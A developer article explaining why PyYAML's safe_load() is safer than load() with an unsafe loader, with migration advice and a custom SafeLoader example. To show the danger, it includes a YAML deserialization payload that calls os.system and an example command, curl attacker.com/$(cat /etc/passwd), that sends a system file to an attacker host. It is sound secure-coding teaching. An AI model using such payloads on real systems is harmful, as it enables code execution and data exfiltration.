PyYAML safe_load vs load: Which One Should You Use?
PyYAML safe_load vs load: why safe_load is the secure default, how unsafe loaders can execute arbitrary code, and when a custom SafeLoader is the right choice.
Choosing between yaml.load() and yaml.safe_load() in PyYAML is not just an API preference. It is a security decision: safe_load() restricts parsing to a limited set of YAML types, while loading with a loader that supports Python-specific tags can construct arbitrary Python objects and, with untrusted input, lead to code execution. This article explains what each function does, the concrete differences, and how to choose between them.
What load() Actually Does
The yaml.load() function parses a YAML document and constructs Python objects using the loader you provide. YAML tags such as !!python/object/apply:os.system or !!python/object/apply:subprocess.check_output instruct a loader to instantiate Python classes or call functions. When you pass a loader that supports Python-specific tags, PyYAML honors those tags and executes the referenced code.
In current PyYAML versions, pass the loader class as an explicit Loader argument; for example, yaml.load(stream, Loader=yaml.UnsafeLoader). Older PyYAML versions used an unsafe loader by default for yaml.load(stream), but that behavior is deprecated and should not be relied on.
Consider this YAML input:
!!python/object/apply:os.system ['echo pwned']
If you parse it with an unsafe loader:
import yaml payload = ''' !!python/object/apply:os.system ['echo pwned'] ''' yaml.load(payload, Loader=yaml.UnsafeLoader) # executes os.system('echo pwned')
The loader will call os.system with the provided command. In a real attack, the command could be curl attacker.com/$(cat /etc/passwd) or anything the attacker wants. This is arbitrary code execution, and it happens during parsing.
Do not assume load() is safe just because a loader class has a reassuring name. The safe path is safe_load() or a custom loader derived from SafeLoader; if a loader supports Python-specific tags, it is not suitable for untrusted YAML.
What safe_load() Restricts
yaml.safe_load() uses the SafeLoader, which only constructs a restricted set of YAML types: mappings, sequences, strings, numbers, booleans, None, and a few supported scalar types. It does not process Python-specific tags. If the YAML contains a tag like !!python/object/apply, safe_load() raises a ConstructorError instead of executing anything.
Using the same payload with safe_load():
import yaml payload = ''' !!python/object/apply:os.system ['echo pwned'] ''' try: yaml.safe_load(payload) except yaml.YAMLError as exc: print('Error:', exc)
Output:
Error: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply'
safe_load() is the recommended entry point for parsing YAML from untrusted sources such as user uploads, HTTP requests, or external configuration files. It eliminates the entire class of vulnerabilities caused by Python object construction.
Key Differences in Behavior
The following table summarizes the main differences:
| Aspect | load() | safe_load() |
|---|---|---|
| Loader | Explicit loader, for example yaml.UnsafeLoader for legacy Python-object behavior | SafeLoader |
| Python object construction | Supported via tags when using an unsafe loader | Not supported |
| Python-specific tags | Processed and may execute code | Rejected with ConstructorError |
| Suitable for untrusted input | No | Yes |
| Use case | Trusted, internal data | Any data that is not fully trusted |
Beyond security, the two functions differ in what they return. load() can return instances of arbitrary classes, while safe_load() always returns a Python data structure composed of supported YAML types. This affects how you process the result. If you expect a dictionary, both functions will return a dictionary for a normal YAML mapping, but load() could also return an object if a tag is present.
When You Might Actually Need load()
There are legitimate scenarios where you want to deserialize Python objects from YAML. For example, if you have a configuration file that contains a custom class instance and you control the file completely, load() can restore that object. However, even then, using load() with an unsafe loader is risky because it can execute Python-specific tags. A safer approach is to create a custom loader that registers only the constructors you need.
For instance, if you have a Point class and want to load a YAML tag !point:
import yaml class Point: def __init__(self, x, y): self.x = x self.y = y def construct_point(loader, node): values = loader.construct_mapping(node) return Point(**values) class CustomLoader(yaml.SafeLoader): pass CustomLoader.add_constructor('!point', construct_point) data = yaml.load('!point {x: 1, y: 2}', Loader=CustomLoader) print(data.x, data.y) # 1 2
This gives you the ability to construct custom objects without exposing the full unsafe loader. You control exactly which tags are allowed.
Security Risks of Using load() on Untrusted Input
Using load() with an unsafe loader on data that can be influenced by an external party is a critical vulnerability. An attacker can craft a YAML payload that executes system commands, reads sensitive files, or opens network connections. The payload does not need to look suspicious; it can be embedded in a seemingly harmless configuration file.
A common attack vector is a YAML file uploaded to a web application. If the application parses it with an unsafe loader, the attacker can achieve remote code execution. Even if the application only reads a few fields, the parser processes the entire document, including tags, before you can inspect the content.
There is also the risk of data exfiltration. A malicious tag can send environment variables or file contents to an external server during parsing. Because the code runs as part of the load() call, you may not have any opportunity to sanitize the input.
The only safe way to handle untrusted YAML is to use safe_load() or a custom loader that only supports a whitelist of tags. Never use load() with an unsafe loader on data that you do not fully control.
Migrating Existing Code from load() to safe_load()
If you have existing code that calls yaml.load() with an unsafe loader (or relies on the old default behavior), the migration is usually straightforward. Replace it with yaml.safe_load(stream). However, you need to handle the case where the YAML contains tags that safe_load() rejects. In most applications, those tags are not needed, and the rejection is a signal that the input is either malicious or misconfigured.
A typical migration pattern:
import yaml def parse_yaml(text): try: return yaml.safe_load(text) except yaml.YAMLError as exc: # Log the error and decide how to respond raise ValueError('Unsupported YAML tag') from exc
If you were using load() to deserialize custom classes, you need to replace that with a custom loader as shown earlier. Do not simply catch the ConstructorError and fall back to load(); that would reintroduce the vulnerability.
Before migrating, review your YAML files to ensure they do not rely on Python-specific tags. If they do, you need to refactor them to use plain data structures or define explicit constructors.
Decision Criteria: Choosing Between load() and safe_load()
Use safe_load() by default. It is the correct choice for any YAML that comes from a user, a network request, a file that could be modified by another process, or any source you do not fully trust. The performance difference between the two is negligible for typical documents, and the security benefit is substantial.
Use load() only when you have a specific requirement to construct Python objects and you are certain the input is trusted. Even then, prefer a custom loader that restricts which tags are allowed. If you cannot guarantee the integrity of the input, load() is not acceptable.
A practical rule: if you cannot answer 'Who can modify this YAML?' with 'Only me and my team,' use safe_load(). For configuration files that ship with your application and are never written by users, safe_load() still works for the vast majority of configuration needs. When you need custom types, a custom loader built on SafeLoader gives you the same control without the blanket risk.
In short, safe_load() is the secure default. load() is a specialized tool that should be used with explicit understanding of its dangers and only when the input is fully trusted.